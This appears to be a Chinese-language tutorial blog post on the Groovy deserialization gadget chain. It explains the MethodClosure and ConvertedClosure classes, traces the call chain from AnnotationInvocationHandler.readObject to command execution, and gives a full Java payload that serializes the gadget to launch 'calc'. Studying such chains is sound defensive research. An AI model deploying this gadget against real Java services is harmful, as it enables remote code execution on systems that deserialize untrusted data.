少女祈祷中...

Groovy

Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。

前置知识

MethodClosure

org.codehaus.groovy.runtime.MethodClosure 是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用。
MethodClosure 初始化时接收两个参数,一个是对象,一个是对象的方法名称。

MethodClosure 中有一个 doCall 方法,调用 InvokerHelper.invokeMethod() 方法进行方法调用

这样就可以执行系统命令

MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");

String.execute() 方法

Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 “ls”.execute() 这种方法来执行系统命令 “ls”。
编写groovy

package com.yyjccc.groovy

class Execute {
static void main(String[] args) {
"calc".execute();
}
}

实际上就是调用 Runtime.getRuntime().exec() 方法执行系统命令:

在 Java 中,就可以直接写做:

MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();

ConvertedClosure

org.codehaus.groovy.runtime.ConvertedClosure 是一个通用适配器,用于将闭包适配到 Java 接口。ConvertedClosure 实现了 ConversionHandler 类,而 ConversionHandler 又实现了 InvocationHandler。所以说 ConvertedClosure 本身就是一个动态代理类。
ConvertedClosure 的构造方法接收一个 Closure 对象和一个 String 类型的 method 方法名,也就是说 ConvertedClosure 会代理这个 Closure 对象,当调用其 method 方法时,将会调用 ConvertedClosure 父类的 invoke 方法,除了 toString 和一些默认方法外,会调用 invokeCustom 方法。
如果初始化时指定的 method 与 invokeCustom 指定的 method 参数相同,则 invokeCustom 方法将会调用代理对象 Closure 的 call 方法执行传入参数执行。

攻击构造

这里思路就有了,我们知道在cc链的时候,AnnotationInvocationHandler在反序列化的时候,readObject会调用memberValues的entrySet方法
如果memberValues是由ConvertedClosure 生成MethodClosure的动态代理对象
,就会调用MethodClosure对象的call方法

流程

AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

payload

public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
new Class[]{Map.class}, closure);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
SerializeUtil.serialize(invocationHandler);
SerializeUtil.unSerialize();
}

流程不复杂,就不调试跟踪了

Reference